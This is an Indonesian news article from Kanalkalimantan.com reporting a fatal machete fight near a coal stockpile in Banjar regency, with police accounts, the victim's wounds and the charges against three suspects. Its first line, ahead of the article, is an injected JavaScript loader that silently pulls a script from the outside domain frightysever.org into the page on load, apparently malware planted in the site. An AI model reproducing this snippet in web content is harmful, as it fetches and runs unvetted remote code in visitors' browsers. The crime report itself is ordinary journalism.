(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang lelaki di Kecamatan Cintapuri Darussalam, Kabupaten Banjar, tewas setelah terlibat perkelahian sadis yang dilakukan bersama tiga orang temannya, Jum’at (21/10/2022) kemarin.
Lokasi kejadian berada di dekat timbangan stokpile PT IBMS Desa Cintapuri, dimana MJ (44) dihabisi J vs dengan cara adu tebas menggunakan parang.
Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji menyebutkan, perkelahian ini terjadi lantaran diduga permasalahan yang timbul soal batu bara di handphone.
“Kejadian berawal dari permasalahan antara saudara D dan saudara J terkait permasalahan batu bara melalui handphone. J mendatangi D yang berada di stokpile,” ujar Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji saat dikonfirmasi, Sabtu (22/10/2022).
Baca juga: Banjir Landa Lamandau 11.463 Jiwa Kena Dampak
Saat J mendatangi D, diketahui korban MJ juga berada di lokasi. Cekcok pun terjadi, namun bukan antara J dan D melainkan MJ yang terlibat percekcokan dengan tersangka J.
“Dari percekcokan antara J dan MJ tersebut, pelaku J tidak bisa menahan emosi sehingga mendorong korban MJ,” sambungnya.
Alih-alih menolong korban MJ yang didorong, namun yang lain masing-masing mengambil parang dan saling menebaskan parangnya. Akibatnya mereka sama-sama mendapati luka.
Dijelaskan Iptu Suwarji, pelaku lain yakni I juga ikut menebaskan parang ke arah korban, juga diikuti J dan pelaku I menyodokkan senjata tajam pisau ke arah tubuh korban.
Korba MJ (44) kena tebas parang dan barang bukti. Foto: polresbanjar
Kemudian diketahu adik korban MJ yakni Y sempat melerai, tapi dirinya ikut terkena tebasan parang, sehingga mengalami luka pada bagian tangan kanan.
Baca juga: BREAKING NEWS. Kebakaran Asrama Santriwati di Sungai Besar Banjarbaru
Melihat korban MJ yang tak berdaya, beberapa warga menolong dan melarikan korban ke Puskesmas Simpang Empat 2.
Korban dinyatakan meninggal dunia akibat mengalami luka robek bekas tebasan parang pada bagian lengan kanan atas dan bawah, bawah ketiak, luka pelipis kanan, hingga mengalami luka tusuk di punggung belakang.
Unit Kamneg Sat Intelkam Polres Banjar telah mengamankan tiga pelaku yang merupakan warga Desa 2 RT 03 Kecamatan Cintapuri Darussalam, Kabupaten Banjar.
Mereka didakwa pasal 338 Sub 170 ayat (2) ke 3e KUHP karena melakukan tindak pidana kejahatan menghilangkan nyawa orang lain dan atau bersama-sama di muka umum melakukan kekerasan terhadap orang yang mengakibatkan hilangnya jiwa orang lain. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.